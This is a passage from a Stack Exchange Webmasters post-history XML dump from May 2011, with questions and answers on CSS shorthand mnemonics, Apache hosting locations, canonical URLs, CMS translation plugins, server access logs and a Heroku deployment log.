need:&#xD;&#xA;http://www.amazon.com/JavaScript-Missing-David-Sawyer-McFarland/dp/0596515898/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1305936491&amp;sr=1-1&#xD;&#xA;&#xD;&#xA;You might find books cheaper on websites that have student discounts though." />
  <row Id="33033" PostHistoryTypeId="25" PostId="14154" RevisionGUID="0d55e566-413a-477a-b976-236dfff73919" CreationDate="2011-05-21T00:12:28.670" Comment="http://twitter.com/#!/StackWebmasters/status/71730038491447296" />
  <row Id="33034" PostHistoryTypeId="2" PostId="14156" RevisionGUID="77045314-cc23-4cf2-ae8f-a69dcdbfd2a4" CreationDate="2011-05-21T00:33:16.997" UserId="7628" Text="Pick something specific that you want to build, and get going. I'll be bold and say Ruby on Rails is a great starting place. Check out their &quot;get started&quot; video here: http://rubyonrails.org/&#xD;&#xA;&#xD;&#xA;Don't get overwhelmed by all the things you'll need to know at some point. Just pick something cool, and do it. You'll naturally learn what you need to know along the way. &#xD;&#xA;&#xD;&#xA;You might also want to head over to StackOverflow.com, which is a great programming community. You'll find that some things are best asked here, and some best asked there.&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="33035" PostHistoryTypeId="2" PostId="14157" RevisionGUID="1158d9ba-e765-42f1-b40b-d010b671a925" CreationDate="2011-05-21T00:45:54.443" UserId="7705" Text="&quot;I'd recommend this book for starting with PHP/Mysql: http://www.amazon.com/PHP-MySQL-Dynamic-Web-Sites/dp/032152599X/ref=sr_1_1?ie=UTF8&amp;qid=1305936373&amp;sr=8-1&quot; &#xD;&#xA;&#xD;&#xA;Its funny you mention this AR1 as I have this book right now from the library" />
  <row Id="33036" PostHistoryTypeId="10" PostId="14154" RevisionGUID="5b68a813-bb29-45fe-9e37-7755ae1eb3b3" CreationDate="2011-05-21T01:04:52.587" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33037" PostHistoryTypeId="2" PostId="14158" RevisionGUID="cf924d24-7b77-4389-98b2-9ce400323efa" CreationDate="2011-05-21T01:50:00.833" UserId="6353" Text="CSS is trouble. T-R-B-L  Top-Right-Bottom-Left" />
  <row Id="33038" PostHistoryTypeId="2" PostId="14159" RevisionGUID="e0c3a90c-58d4-404b-8657-b7b5ce13447c" CreationDate="2011-05-21T01:50:23.950" UserId="7706" Text="In addition to the straightforward winding analogy, I offer another mnemonic: **Top, Right, Bottom, Left** gives the initialism **TRBL**, pronounced **terrible**—or **trouble** if you like. (Hey, even **treble** gives me trouble as a baritone.) It fits in well with CRAP (Contrast, Repetition, Alignment, Proximity), the four principles of sound Web design." />
  <row Id="33039" PostHistoryTypeId="17" PostId="14161" RevisionGUID="d824455a-c39a-42d8-8411-844877944cc3" CreationDate="2011-05-21T01:56:06.913" UserId="-1" Comment="from http://stackoverflow.com/questions/6078890/apache-webserver-user-setup-and-security-issues/6078904#6078904" Text="" />
  <row Id="33040" PostHistoryTypeId="2" PostId="14161" RevisionGUID="1c212a49-373c-4ae3-8e17-d85bb71c2f46" CreationDate="2011-05-21T00:52:27.000" UserDisplayName="Steve Kehlet" Text="Probably more secure to leave it over in /var/whatever. If you made it /home/user it could expose hidden files, who knows what else that might matter. If the two directories are on the same disk there shouldn't be any performance difference. [edit] Also, you might as well do it the way everyone else does it, just for consistency." />
  <row Id="33041" PostHistoryTypeId="2" PostId="14160" RevisionGUID="55595ba7-a811-44ec-8ce0-7725ce8fdabd" CreationDate="2011-05-21T00:48:33.703" UserDisplayName="redhatlab" Text="I have a server running Centos 5.6/PHP/MySQL etc that will only host one website all the time. &#xD;&#xA;&#xD;&#xA;**New question**&#xD;&#xA;&#xD;&#xA;Is there any security implication on leaving a single website hosted in the default location of /var/www/html/ versus the common location of /home/user/?&#xD;&#xA;&#xD;&#xA;**Original question**&#xD;&#xA;&#xD;&#xA;Does it make any sense* to have Apache webserver host the account in the home folder (/home/user) instead of the default location of /var/www/html?&#xD;&#xA;&#xD;&#xA;*Sense mean performance benefit, security reasons, etc.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="33042" PostHistoryTypeId="1" PostId="14160" RevisionGUID="55595ba7-a811-44ec-8ce0-7725ce8fdabd" CreationDate="2011-05-21T00:48:33.703" UserDisplayName="redhatlab" Text="Apache webserver user setup and security issues" />
  <row Id="33043" PostHistoryTypeId="3" PostId="14160" RevisionGUID="55595ba7-a811-44ec-8ce0-7725ce8fdabd" CreationDate="2011-05-21T00:48:33.703" UserDisplayName="redhatlab" Text="&lt;security&gt;&lt;apache&gt;" />
  <row Id="33044" PostHistoryTypeId="17" PostId="14160" RevisionGUID="749fa278-4bba-4238-96eb-274c674970f6" CreationDate="2011-05-21T01:56:06.913" UserId="-1" Comment="from http://stackoverflow.com/questions/6078890/apache-webserver-user-setup-and-security-issues" Text="" />
  <row Id="33045" PostHistoryTypeId="25" PostId="14160" RevisionGUID="e6ef4a2c-6f3f-4bf1-a6ce-05dddd17e2fc" CreationDate="2011-05-21T03:12:29.567" Comment="http://twitter.com/#!/StackWebmasters/status/71775340095213569" />
  <row Id="33046" PostHistoryTypeId="2" PostId="14162" RevisionGUID="09b254d3-a27d-48b2-995b-043561432a3f" CreationDate="2011-05-21T03:22:04.523" UserId="4752" Text="##practice&#xD;&#xA;I don't recall ever using any special *method* of memorization for this little tidbit. I do know I learned they were set in the clockwise order from the top, but then I proceeded to write a lot of CSS.&#xD;&#xA;&#xD;&#xA;When you do a task repeatedly there is a tendency to memorize the details for efficiency, so at this point:&#xD;&#xA;&#xD;&#xA; 1. all&#xD;&#xA; 2. top&amp;bottom right&amp;left&#xD;&#xA; 3. top right&amp;left bottom&#xD;&#xA; 4. top right bottom left&#xD;&#xA;&#xD;&#xA;is second nature. Just like:&#xD;&#xA;&#xD;&#xA;    border: &lt;width&gt; &lt;style&gt; &lt;color&gt;;&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    background: &lt;color&gt; &lt;image&gt; &lt;repeat&gt; &lt;attachment&gt; &lt;position&gt;;" />
  <row Id="33050" PostHistoryTypeId="2" PostId="14164" RevisionGUID="6daf3faf-29cf-45df-b8fa-9f3005290a6e" CreationDate="2011-05-21T03:49:22.957" UserId="7204" Text="Each page on my site can be accessed by a shortened URL and normal &quot;long&quot; URLs.  The shortened URL redirects to the long URL and the long URL includes an optional title that's not parsed (much like on this site, where http://webmasters.SE/questions/7/accepting-money... is equivalent to http://webmasters.SE/questions/7).&#xD;&#xA;&#xD;&#xA;When pages show up in Google search results, there is a mixture of three kinds of URL.&#xD;&#xA;&#xD;&#xA;* http://site.com/Ab1C.html&#xD;&#xA;* http://site.com/content/123/full_name&#xD;&#xA;* http://site.com/content/123&#xD;&#xA;&#xD;&#xA;Is there a way to encourage Google to use a specific format in the results?" />
  <row Id="33051" PostHistoryTypeId="1" PostId="14164" RevisionGUID="6daf3faf-29cf-45df-b8fa-9f3005290a6e" CreationDate="2011-05-21T03:49:22.957" UserId="7204" Text="How can I force a certain URL for Google to use in search results?" />
  <row Id="33052" PostHistoryTypeId="3" PostId="14164" RevisionGUID="6daf3faf-29cf-45df-b8fa-9f3005290a6e" CreationDate="2011-05-21T03:49:22.957" UserId="7204" Text="&lt;search-engines&gt;&lt;url&gt;&lt;indexing&gt;" />
  <row Id="33056" PostHistoryTypeId="2" PostId="14165" RevisionGUID="d79adacf-a403-4b2d-832e-0bbd9d10d56d" CreationDate="2011-05-21T03:54:23.773" UserId="5806" Text="You need to use a canonical meta. I've [explained it in this answer][1].&#xD;&#xA;&#xD;&#xA;You question is not exactly a duplicate but the answer is the same. Put a meta canonical in your file indicating the right name of search engines to use. As in:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://www.site.com/path-you-want&quot; /&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8831/problem-showing-my-website-correctly-in-search-engines/10392#10392" />
  <row Id="33057" PostHistoryTypeId="2" PostId="14166" RevisionGUID="3e0cc377-8d23-490b-937a-1398c1358370" CreationDate="2011-05-21T04:57:10.123" UserDisplayName="Kevin Lee" Text="I want to know all the people who access my server, is there a log that shows when and how the people access my server?" />
  <row Id="33058" PostHistoryTypeId="1" PostId="14166" RevisionGUID="3e0cc377-8d23-490b-937a-1398c1358370" CreationDate="2011-05-21T04:57:10.123" UserDisplayName="Kevin Lee" Text="How to find who's accessing my server? My server is Ubuntu." />
  <row Id="33059" PostHistoryTypeId="3" PostId="14166" RevisionGUID="3e0cc377-8d23-490b-937a-1398c1358370" CreationDate="2011-05-21T04:57:10.123" UserDisplayName="Kevin Lee" Text="&lt;server&gt;" />
  <row Id="33060" PostHistoryTypeId="17" PostId="14166" RevisionGUID="43179789-e122-445f-8e40-fa993e89264f" CreationDate="2011-05-21T05:51:53.003" UserId="-1" Comment="from http://stackoverflow.com/questions/6079686/how-to-find-whos-accessing-my-server-my-server-is-ubuntu" Text="" />
  <row Id="33064" PostHistoryTypeId="25" PostId="14164" RevisionGUID="db7b05c5-c3f0-4690-87d1-0a73557dad5e" CreationDate="2011-05-21T06:12:28.823" Comment="http://twitter.com/#!/StackWebmasters/status/71820636053442560" />
  <row Id="33068" PostHistoryTypeId="2" PostId="14168" RevisionGUID="85ee5996-4b03-442f-b637-d733ee63a6d0" CreationDate="2011-05-21T07:16:05.893" UserId="6812" Text="This question is mainly for those web designers and developers that are young and looking to enter our industry, but are not sure exactly how work is typically &quot;done&quot;.&#xD;&#xA;&#xD;&#xA;I know I used to believe that 99% of the work for freelance web designers (and even companies) was gained through freelance bid-sites, but I know that I have learned some tactics over the years to getting new clients.&#xD;&#xA;&#xD;&#xA;My question is simple: Where do you typically find your work?" />
  <row Id="33069" PostHistoryTypeId="1" PostId="14168" RevisionGUID="85ee5996-4b03-442f-b637-d733ee63a6d0" CreationDate="2011-05-21T07:16:05.893" UserId="6812" Text="Freelance Web Designers, Where Do You Typically Find Work?" />
  <row Id="33070" PostHistoryTypeId="3" PostId="14168" RevisionGUID="85ee5996-4b03-442f-b637-d733ee63a6d0" CreationDate="2011-05-21T07:16:05.893" UserId="6812" Text="&lt;freelancer&gt;" />
  <row Id="33071" PostHistoryTypeId="2" PostId="14169" RevisionGUID="e0f2f233-1d82-431c-8118-845ecd3ff147" CreationDate="2011-05-21T07:25:17.730" UserId="6812" Text="Drupal is a great CMS. When a client of mine needed multi-lingual/localized content, I used Drupal. There are modules for translation and localization, and the instructions on those modules will teach you more than I could just by typing it out here.&#xD;&#xA;&#xD;&#xA;In short, you'd have your site set up like:&#xD;&#xA;&#xD;&#xA;www.foobar.com/en&#xD;&#xA;www.foobar.com/ga&#xD;&#xA;&#xD;&#xA;etc. for each language that you need.&#xD;&#xA;&#xD;&#xA;You can toggle on/off languages, and even make custom languages with different codes for the language. You can use a localization client/server in order to have edits made to the text that will be stored (word for word, phrase by phrase, etc.)&#xD;&#xA;&#xD;&#xA;I can't post many links due to low reputation, but I can give you this link: http://drupalmodules.com&#xD;&#xA;&#xD;&#xA;On that site, if you choose the category &quot;multilingual&quot; from the top, you'll get tons of modules you can go through, all rated and reviewed and for free use with Drupal. Tons of information, everything you could need, for sure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm a Drupal/WordPress developer and designer, and I'm pretty sure WordPress would have plugins for this as well... but I know Drupal does for sure, and they were easy enough to work with.&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EDIT: I forgot to say, if you're doing it that way, here is a possible solution using WordPress! It should be much easier and much more simple. Just use this plugin with WordPress: http://wordpress.org/extend/plugins/qtranslate/" />
  <row Id="33072" PostHistoryTypeId="5" PostId="14169" RevisionGUID="f844d83d-4893-4dc7-be5b-871416703099" CreationDate="2011-05-21T07:30:28.147" UserId="6812" Comment="deleted 351 characters in body; added 2 characters in body" Text="**With WordPress:**&#xD;&#xA;&#xD;&#xA;After installing WordPress, download this plugin and play with it. It should be able to do everything you need (look at the plugin description to judge):&#xD;&#xA;&#xD;&#xA;[qTranslate][1]&#xD;&#xA;&#xD;&#xA;**With Drupal:**&#xD;&#xA;&#xD;&#xA;Drupal is a great CMS. When a client of mine needed multi-lingual/localized content, I used Drupal. There are modules for translation and localization, and the instructions on those modules will teach you more than I could just by typing it out here.&#xD;&#xA;&#xD;&#xA;Check out modules for Drupal here:&#xD;&#xA;&#xD;&#xA;[Drupal Modules][2]&#xD;&#xA;&#xD;&#xA;On that site, if you choose the category &quot;multilingual&quot; from the top, you'll get tons of modules you can go through, all rated and reviewed and for free use with Drupal. Tons of information, everything you could need, for sure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm a Drupal/WordPress developer and designer, and I'm pretty sure the WordPress option would be much easier and user-friendly for you... but either route you take, you'll be fine!&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/qtranslate/&#xD;&#xA;  [2]: http://drupalmodules.com" />
  <row Id="33073" PostHistoryTypeId="25" PostId="14168" RevisionGUID="77936842-5dd0-4d57-ac75-7f0ae946997a" CreationDate="2011-05-21T09:12:28.987" Comment="http://twitter.com/#!/StackWebmasters/status/71865934809280512" />
  <row Id="33074" PostHistoryTypeId="2" PostId="14170" RevisionGUID="542699a2-29ed-433c-b567-ba7f941886c8" CreationDate="2011-05-21T09:20:04.523" UserId="6597" Text="Put on a security camera next to your server if you want to see who's accessing you physical server.&#xD;&#xA;&#xD;&#xA;Just to know that someone is sending packets to your server, you can set up IP Tables:&#xD;&#xA;&#xD;&#xA;    sudo iptables -I INPUT -j LOG&#xD;&#xA;    sudo iptables -I FORWARD -j LOG&#xD;&#xA;This is probably not what you meant, but it logs ALL incoming packets to `/var/log/kern.log`, whether those are valid or not. *the previous command was illustrative, do not use it in this form or you'll flood your logs causing a possible DoS*&#xD;&#xA;&#xD;&#xA;A small list of services with their logfiles:&#xD;&#xA;&#xD;&#xA;- SSH: each login attempt is logged to `/var/log/auth.log`&#xD;&#xA;- Apache: on a default installation using `apt`, log files are written in the directory `/var/log/apache2/`&#xD;&#xA;- exim: connection attempts are logged to `/var/log/exim4/mainlog` (but harmless messages about the queue are logged to this one too)" />
  <row Id="33075" PostHistoryTypeId="2" PostId="14171" RevisionGUID="34c0d1aa-624b-4bf6-9008-c68732e38c1a" CreationDate="2011-05-21T10:26:45.020" UserId="5026" Text="I have installed new theme for Wolf CMS [here][1].&#xD;&#xA;&#xD;&#xA;[This][2] is a demo of the template.&#xD;&#xA;&#xD;&#xA;Why does the content background image show on the demo but not on my site?  The HTML and CSS is the same, and the image exists on my server.&#xD;&#xA;&#xD;&#xA;The background image *does* show on my home page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.steve.doig.com.au/web-site-applications.html&#xD;&#xA;  [2]: http://wolfcms.office-web.net/extensions/themes/bluebusiness.html" />
  <row Id="33076" PostHistoryTypeId="1" PostId="14171" RevisionGUID="34c0d1aa-624b-4bf6-9008-c68732e38c1a" CreationDate="2011-05-21T10:26:45.020" UserId="5026" Text="Same page template but ackground image doesn't show" />
  <row Id="33077" PostHistoryTypeId="3" PostId="14171" RevisionGUID="34c0d1aa-624b-4bf6-9008-c68732e38c1a" CreationDate="2011-05-21T10:26:45.020" UserId="5026" Text="&lt;css&gt;&lt;image&gt;" />
  <row Id="33078" PostHistoryTypeId="2" PostId="14172" RevisionGUID="6e795959-a0f3-419b-a3a0-a5f30c830e58" CreationDate="2011-05-21T10:33:22.427" UserId="5026" Text="Fixed.&#xD;&#xA;&#xD;&#xA;The pages in question had a sidebar in Wolf CMS, while the working pages did not.&#xD;&#xA;&#xD;&#xA;I removed the sidebar." />
  <row Id="33079" PostHistoryTypeId="5" PostId="14166" RevisionGUID="90227d9c-0dab-4dec-9b63-dd55911f8944" CreationDate="2011-05-21T11:00:30.013" UserId="7712" Comment="added 397 characters in body" Text="I want to know all the people who access my server, is there a log that shows when and how the people access my server?&#xD;&#xA;&#xD;&#xA;--EDIT--&#xD;&#xA;&#xD;&#xA;Sorry for not providing any more details awhile ago. My server is Ubuntu 10.04 LTS running in Linode. I heard numerous scary story of hackers trying to hack a server, so I want to know where are the logs that will show me who accessed my server by ssh, or anything that can put my server in danger.&#xD;&#xA;&#xD;&#xA;I have installed the LAMP stack in my server. That's all I have ever installed." />
  <row Id="33080" PostHistoryTypeId="25" PostId="14171" RevisionGUID="3bf06d7a-7a2e-434f-b519-8e8e9b36ddce" CreationDate="2011-05-21T12:12:29.020" Comment="http://twitter.com/#!/StackWebmasters/status/71911234223603712" />
  <row Id="33081" PostHistoryTypeId="2" PostId="14173" RevisionGUID="a28cc670-9e6a-4622-b712-304aa7a82e13" CreationDate="2011-05-21T12:37:27.337" UserId="7715" Text="NOTE: This was already asked by me, but for some reason StackOverflow won't log me in with my past account.&#xD;&#xA;&#xD;&#xA;I'm starting to learn more on the back-end scale of programing.&#xD;&#xA;&#xD;&#xA;Recently I started up Heroku for the second or third time. This time I actually installed the Git update to my Mac and installed Heroku in the terminal.&#xD;&#xA;&#xD;&#xA;I wanted to upload a static html site with the sinatra gem. Everything worked out fine inside the terminal, though I added sinatra after I got everything working and the file with the site hooked up to Heroku. In my logs I did see that I was missing the sinatra gem, so I installed it. &#xD;&#xA;&#xD;&#xA;My site contains both the proper app.rb and config.ru files. I have nothing showing up online. Just a blank screen! &#xD;&#xA;&#xD;&#xA;Contacting Heroku on this problem has been very difficult. I get a responce every day, and on every day I respond with a question to the answer that didn't help me at all. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here are my logs:&#xD;&#xA;&#xD;&#xA;2011-05-18T00:25:20+00:00 app[web.1]: 71.198.0.51 - - [17/May/2011 17:25:20] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-18T00:25:20+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=2ms bytes=313&#xD;&#xA;2011-05-18T00:25:26+00:00 app[web.1]: 71.198.0.51 - - [17/May/2011 17:25:26] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-18T00:25:26+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=5ms bytes=313&#xD;&#xA;2011-05-17T18:25:51-07:00 heroku[web.1]: Idling&#xD;&#xA;2011-05-17T18:26:01-07:00 heroku[web.1]: State changed from up to down&#xD;&#xA;2011-05-18T01:26:01+00:00 heroku[web.1]: Stopping process with SIGTERM&#xD;&#xA;2011-05-18T01:26:01+00:00 app[web.1]: &gt;&gt; Stopping ...&#xD;&#xA;2011-05-18T01:26:02+00:00 heroku[web.1]: Process exited&#xD;&#xA;2011-05-17T20:12:46-07:00 heroku[web.1]: Unidling&#xD;&#xA;2011-05-17T20:12:47-07:00 heroku[web.1]: State changed from created to starting&#xD;&#xA;2011-05-18T03:12:48+00:00 heroku[web.1]: Starting process with command: `thin -p 40055 -e production -R /home/heroku_rack/heroku.ru start`&#xD;&#xA;2011-05-18T03:12:49+00:00 app[web.1]: &gt;&gt; Thin web server (v1.2.6 codename Crazy Delicious)&#xD;&#xA;2011-05-18T03:12:49+00:00 app[web.1]: &gt;&gt; Maximum connections set to 1024&#xD;&#xA;2011-05-18T03:12:49+00:00 app[web.1]: &gt;&gt; Listening on 0.0.0.0:40055, CTRL+C to stop&#xD;&#xA;2011-05-18T03:12:50+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=9954ms service=6ms bytes=565&#xD;&#xA;2011-05-18T03:12:50+00:00 app[web.1]: 70.91.206.114 - - [17/May/2011 20:12:50] &quot;GET /style.css HTTP/1.1&quot; 200 - 0.0012&#xD;&#xA;2011-05-18T03:12:50+00:00 heroku[router]: GET pxlc.heroku.com/style.css dyno=web.1 queue=0 wait=0ms service=2ms bytes=269&#xD;&#xA;2011-05-17T20:12:50-07:00 heroku[web.1]: State changed from starting to up&#xD;&#xA;2011-05-18T03:12:51+00:00 app[web.1]: 70.91.206.114 - - [17/May/2011 20:12:51] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-18T03:12:51+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=4ms bytes=313&#xD;&#xA;2011-05-18T03:13:05+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=0ms service=5ms bytes=565&#xD;&#xA;2011-05-18T03:13:05+00:00 app[web.1]: 70.91.206.114 - - [17/May/2011 20:13:05] &quot;GET / HTTP/1.1&quot; 200 293 0.0011&#xD;&#xA;2011-05-18T03:13:05+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=2ms bytes=313&#xD;&#xA;2011-05-18T03:13:05+00:00 app[web.1]: 70.91.206.114 - - [17/May/2011 20:13:05] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0007&#xD;&#xA;2011-05-18T03:57:05+00:00 app[web.1]: 172.18.33.56, 58.96.134.66 - - [17/May/2011 20:57:05] &quot;GET / HTTP/1.1&quot; 200 293 0.0007&#xD;&#xA;2011-05-18T03:57:05+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=0ms service=4ms bytes=565&#xD;&#xA;2011-05-18T03:57:05+00:00 app[web.1]: 172.18.33.56, 58.96.134.66 - - [17/May/2011 20:57:05] &quot;GET /style.css HTTP/1.1&quot; 200 - 0.0007&#xD;&#xA;2011-05-18T03:57:05+00:00 heroku[router]: GET pxlc.heroku.com/style.css dyno=web.1 queue=0 wait=0ms service=2ms bytes=269&#xD;&#xA;2011-05-18T03:57:08+00:00 app[web.1]: 172.18.33.56, 58.96.134.66 - - [17/May/2011 20:57:08] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-17T21:58:27-07:00 heroku[web.1]: Idling&#xD;&#xA;2011-05-18T04:58:30+00:00 heroku[web.1]: Stopping process with SIGTERM&#xD;&#xA;2011-05-18T04:58:30+00:00 app[web.1]: &gt;&gt; Stopping ...&#xD;&#xA;2011-05-18T04:58:30+00:00 heroku[web.1]: Process exited&#xD;&#xA;2011-05-17T21:58:33-07:00 heroku[web.1]: State changed from up to down&#xD;&#xA;2011-05-17T23:11:58-07:00 heroku[web.1]: Unidling&#xD;&#xA;2011-05-17T23:11:58-07:00 heroku[web.1]: State changed from created to starting&#xD;&#xA;2011-05-18T06:12:00+00:00 heroku[web.1]: Starting process with command: `thin -p 40091 -e production -R /home/heroku_rack/heroku.ru start`&#xD;&#xA;2011-05-18T06:12:01+00:00 app[web.1]: &gt;&gt; Thin web server (v1.2.6 codename Crazy Delicious)&#xD;&#xA;2011-05-18T06:12:01+00:00 app[web.1]: &gt;&gt; Maximum connections set to 1024&#xD;&#xA;2011-05-18T06:12:01+00:00 app[web.1]: &gt;&gt; Listening on 0.0.0.0:40091, CTRL+C to stop&#xD;&#xA;2011-05-18T06:12:01+00:00 app[web.1]: 183.97.156.226 - - [17/May/2011 23:12:01] &quot;GET / HTTP/1.1&quot; 200 293 0.0017&#xD;&#xA;2011-05-18T06:12:02+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=3209ms service=5ms bytes=565&#xD;&#xA;2011-05-18T06:12:03+00:00 app[web.1]: 183.97.156.226 - - [17/May/2011 23:12:03] &quot;GET /style.css HTTP/1.1&quot; 200 - 0.0019&#xD;&#xA;2011-05-17T23:12:08-07:00 heroku[web.1]: State changed from starting to up&#xD;&#xA;2011-05-18T00:13:13-07:00 heroku[web.1]: Idling&#xD;&#xA;2011-05-18T00:13:16-07:00 heroku[web.1]: State changed from up to down&#xD;&#xA;2011-05-18T07:13:16+00:00 heroku[web.1]: Stopping process with SIGTERM&#xD;&#xA;2011-05-18T07:13:16+00:00 app[web.1]: &gt;&gt; Stopping ...&#xD;&#xA;2011-05-18T07:13:17+00:00 heroku[web.1]: Process exited&#xD;&#xA;2011-05-18T01:54:21-07:00 heroku[web.1]: Unidling&#xD;&#xA;2011-05-18T01:54:21-07:00 heroku[web.1]: State changed from created to starting&#xD;&#xA;2011-05-18T08:54:23+00:00 heroku[web.1]: Starting process with command: `thin -p 59491 -e production -R /home/heroku_rack/heroku.ru start`&#xD;&#xA;2011-05-18T08:54:24+00:00 app[web.1]: &gt;&gt; Thin web server (v1.2.6 codename Crazy Delicious)&#xD;&#xA;2011-05-18T08:54:24+00:00 app[web.1]: &gt;&gt; Maximum connections set to 1024&#xD;&#xA;2011-05-18T08:54:24+00:00 app[web.1]: &gt;&gt; Listening on 0.0.0.0:59491, CTRL+C to stop&#xD;&#xA;2011-05-18T01:54:28-07:00 heroku[web.1]: State changed from starting to up&#xD;&#xA;2011-05-18T08:54:28+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=6943ms service=6ms bytes=565&#xD;&#xA;2011-05-18T08:54:28+00:00 app[web.1]: 62.244.82.72 - - [18/May/2011 01:54:28] &quot;GET / HTTP/1.1&quot; 200 293 0.0018&#xD;&#xA;2011-05-18T08:54:28+00:00 heroku[router]: GET pxlc.heroku.com/style.css dyno=web.1 queue=0 wait=0ms service=2ms bytes=269&#xD;&#xA;2011-05-18T08:54:28+00:00 app[web.1]: 62.244.82.72 - - [18/May/2011 01:54:28] &quot;GET /style.css HTTP/1.1&quot; 200 - 0.0014&#xD;&#xA;2011-05-18T08:54:28+00:00 app[web.1]: 62.244.82.72 - - [18/May/2011 01:54:28] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-18T08:54:28+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=1ms bytes=313&#xD;&#xA;2011-05-18T08:54:28+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=4ms bytes=313&#xD;&#xA;2011-05-18T08:54:28+00:00 app[web.1]: 62.244.82.72 - - [18/May/2011 01:54:28] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-18T08:54:28+00:00 app[web.1]: 62.244.82.72 - - [18/May/2011 01:54:28] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-18T08:54:28+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=1ms bytes=313&#xD;&#xA;2011-05-18T02:55:23-07:00 heroku[web.1]: Idling&#xD;&#xA;2011-05-18T02:55:33-07:00 heroku[web.1]: State changed from up to down&#xD;&#xA;2011-05-18T09:55:34+00:00 heroku[web.1]: Stopping process with SIGTERM&#xD;&#xA;2011-05-18T09:55:34+00:00 app[web.1]: &gt;&gt; Stopping ...&#xD;&#xA;2011-05-18T09:55:34+00:00 heroku[web.1]: Process exited&#xD;&#xA;2011-05-18T07:23:10-07:00 heroku[web.1]: State changed from created to starting&#xD;&#xA;2011-05-18T14:23:12+00:00 heroku[web.1]: Starting process with command: `thin -p 20560 -e production -R /home/heroku_rack/heroku.ru start`&#xD;&#xA;2011-05-18T14:23:13+00:00 app[web.1]: &gt;&gt; Thin web server (v1.2.6 codename Crazy Delicious)&#xD;&#xA;2011-05-18T14:23:13+00:00 app[web.1]: &gt;&gt; Maximum connections set to 1024&#xD;&#xA;2011-05-18T14:23:13+00:00 app[web.1]: &gt;&gt; Listening on 0.0.0.0:20560, CTRL+C to stop&#xD;&#xA;2011-05-18T07:23:13-07:00 heroku[web.1]: State changed from starting to up&#xD;&#xA;2011-05-18T14:23:14+00:00 app[web.1]: 12.183.19.10 - - [18/May/2011 07:23:14] &quot;GET / HTTP/1.1&quot; 200 293 0.0018&#xD;&#xA;2011-05-18T14:23:14+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=0ms service=7ms bytes=565&#xD;&#xA;2011-05-18T14:23:14+00:00 app[web.1]: 12.183.19.10 - - [18/May/2011 07:23:14] &quot;GET /style.css HTTP/1.1&quot; 200 - 0.0015&#xD;&#xA;2011-05-18T14:23:14+00:00 heroku[router]: GET pxlc.heroku.com/style.css dyno=web.1 queue=0 wait=0ms service=2ms bytes=269&#xD;&#xA;2011-05-18T14:23:14+00:00 app[web.1]: 12.183.19.10 - - [18/May/2011 07:23:14] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0009&#xD;&#xA;2011-05-18T14:23:14+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=2ms bytes=313&#xD;&#xA;2011-05-18T08:24:03-07:00 heroku[web.1]: Idling&#xD;&#xA;2011-05-18T08:24:07-07:00 heroku[web.1]: State changed from up to down&#xD;&#xA;2011-05-18T15:24:07+00:00 heroku[web.1]: Stopping process with SIGTERM&#xD;&#xA;2011-05-18T15:24:07+00:00 app[web.1]: &gt;&gt; Stopping ...&#xD;&#xA;2011-05-18T17:34:27-07:00 heroku[web.1]: Unidling&#xD;&#xA;2011-05-18T17:34:28-07:00 heroku[web.1]: State changed from created to starting&#xD;&#xA;2011-05-19T00:34:29+00:00 heroku[web.1]: Starting process with command: `thin -p 57621 -e production -R /home/heroku_rack/heroku.ru start`&#xD;&#xA;2011-05-18T17:34:31-07:00 heroku[web.1]: State changed from starting to up&#xD;&#xA;2011-05-19T00:34:32+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=0ms service=5ms 